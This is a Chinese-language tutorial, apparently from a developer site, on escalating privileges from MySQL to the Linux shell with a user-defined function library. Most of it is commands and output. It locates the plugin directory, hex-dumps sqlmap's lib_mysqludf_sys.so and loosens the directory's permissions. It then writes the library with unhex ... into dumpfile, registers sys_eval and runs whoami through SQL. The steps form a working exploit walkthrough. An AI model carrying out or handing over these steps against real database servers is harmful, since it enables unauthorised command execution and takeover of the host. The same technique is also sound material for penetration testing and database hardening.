Linux利用UDF库实现Mysql提权_MySQL
环境:
os:linux(bt5)
database:mysql
简述:
通过自定义库函数来实现执行任意的程序,这里只在linux下测试通过,具体到windows,所用的dll自然不同。
要求:
在mysql库下必须有func表,并且在‑‑skip‑grant‑tables开启的情况下,UDF会被禁止;
过程: 得到插件库路径 找对应操作系统的udf库文件 利用udf库文件加载函数并执行命令
1,得到插件库路径
mysql> show variables like "%plugin%";+---------------+-----------------------+| Variable_name | Value |+---------------+-----------------------+| plugin_dir | /usr/lib/mysql/plugin |+---------------+-----------------------+1 row in set (0.00 sec)
2,找对应操作系统的udf库文件
因为自己测试,看了下自己系统的版本,64位
root@bt:~# uname -aLinux bt 3.2.6 #1 SMP Fri Feb 17 10:34:20 EST 2012 x86_64 GNU/Linux
对于udf文件,在sqlmap工具中自带就有,只要找对应操作系统的版本即可
root@bt:/pentest/database/sqlmap/udf/mysql# lslinux windowsroot@bt:/pentest/database/sqlmap/udf/mysql/linux# ls32 64root@bt:/pentest/database/sqlmap/udf/mysql/linux/64# lslib_mysqludf_sys.so
3,利用udf库文件加载函数并执行命令
首先要得到udf库文件的十六进制格式,可在本地通过
mysql> select hex(load_file('/pentest/database/sqlmap/udf/mysql/linux/64/lib_mysqludf_sys.so')) into outfile '/tmp/udf.txt';Query OK, 1 row affected (0.04 sec)
因为我测试时,使用自带账户,账户名mysql,并不是root,所以插件目录不可写,而实际中,一般udf提权都是用root权限启动的mysql程序,故,不存在目录权限不足,不能访问的情况。为了继续,修改目录权限
root@bt:~# chmod 777 /usr/lib/mysql/plugin
数据库中写入udf库到mysql库目录:
mysql> select unhex('7F454C46020...') into dumpfile '/usr/lib/mysql/plugin/mysqludf.so';Query OK, 1 row affected (0.04 sec)
查看下这个udf库所支持的函数
root@bt:~# nm -D /usr/lib/mysql/plugin/mysqludf.so w _Jv_RegisterClasses0000000000201788 A __bss_start w __cxa_finalize w __gmon_start__0000000000201788 A _edata0000000000201798 A _end0000000000001178 T _fini0000000000000ba0 T _init U fgets U fork U free U getenv000000000000101a T lib_mysqludf_sys_info0000000000000da4 T lib_mysqludf_sys_info_deinit0000000000001047 T lib_mysqludf_sys_info_init U malloc U mmap U pclose U popen U realloc U setenv U strcpy U strncpy0000000000000dac T sys_bineval0000000000000dab T sys_bineval_deinit0000000000000da8 T sys_bineval_init0000000000000e46 T sys_eval0000000000000da7 T sys_eval_deinit0000000000000f2e T sys_eval_init0000000000001066 T sys_exec0000000000000da6 T sys_exec_deinit0000000000000f57 T sys_exec_init00000000000010f7 T sys_get0000000000000da5 T sys_get_deinit0000000000000fea T sys_get_init000000000000107a T sys_set00000000000010e8 T sys_set_deinit0000000000000f80 T sys_set_init U sysconf U system U waitpid
最后,加载函数并执行:
mysql> create function sys_eval returns string soname "mysqludf.so";Query OK, 0 rows affected (0.14 sec) mysql> select sys_eval('whoami');+--------------------+| sys_eval('whoami') |+--------------------+| mysql |+--------------------+1 row in set (0.04 sec) mysql> select * from mysql.func;+----------+-----+-------------+----------+| name | ret | dl | type |+----------+-----+-------------+----------+| sys_eval | 0 | mysqludf.so | function |+----------+-----+-------------+----------+1 row in set

Outils d'IA chauds

Undresser.AI Undress
Application basée sur l'IA pour créer des photos de nu réalistes

AI Clothes Remover
Outil d'IA en ligne pour supprimer les vêtements des photos.

Undress AI Tool
Images de déshabillage gratuites

Clothoff.io
Dissolvant de vêtements AI

AI Hentai Generator
Générez AI Hentai gratuitement.

Article chaud

Outils chauds

Bloc-notes++7.3.1
Éditeur de code facile à utiliser et gratuit

SublimeText3 version chinoise
Version chinoise, très simple à utiliser

Envoyer Studio 13.0.1
Puissant environnement de développement intégré PHP

Dreamweaver CS6
Outils de développement Web visuel

SublimeText3 version Mac
Logiciel d'édition de code au niveau de Dieu (SublimeText3)

Sujets chauds

Cet article aborde l'erreur "Implom Open Open Wibrary" de MySQL. Le problème découle de l'incapacité de MySQL à localiser les bibliothèques partagées nécessaires (fichiers .so / .dll). Les solutions impliquent la vérification de l'installation de la bibliothèque via le package du système m

Cet article explore l'optimisation de l'utilisation de la mémoire MySQL dans Docker. Il traite des techniques de surveillance (statistiques Docker, du schéma de performance, des outils externes) et des stratégies de configuration. Il s'agit notamment des limites de mémoire Docker, de l'échange et des CGROUP, à côté

L'article discute de l'utilisation de l'instruction ALTER TABLE de MySQL pour modifier les tables, notamment en ajoutant / abandon les colonnes, en renommant des tables / colonnes et en modifiant les types de données de colonne.

Cet article compare l'installation de MySQL sur Linux directement par rapport à l'utilisation de conteneurs Podman, avec / sans phpmyadmin. Il détaille les étapes d'installation pour chaque méthode, mettant l'accent sur les avantages de Podman isolément, portabilité et reproductibilité, mais aussi

Cet article fournit un aperçu complet de SQLite, une base de données relationnelle autonome et sans serveur. Il détaille les avantages de SQLite (simplicité, portabilité, facilité d'utilisation) et les inconvénients (limitations de concurrence, défis d'évolutivité). C

Ce guide démontre l'installation et la gestion de plusieurs versions MySQL sur MacOS à l'aide de Homebrew. Il met l'accent sur l'utilisation de Homebrew pour isoler les installations, empêchant les conflits. L'article détaille l'installation, les services de démarrage / d'arrêt et le meilleur PRA

L'article discute de la configuration du cryptage SSL / TLS pour MySQL, y compris la génération et la vérification de certificat. Le problème principal est d'utiliser les implications de sécurité des certificats auto-signés. [Compte de caractère: 159]

L'article traite des outils de GUI MySQL populaires comme MySQL Workbench et PhpMyAdmin, en comparant leurs fonctionnalités et leur pertinence pour les débutants et les utilisateurs avancés. [159 caractères]
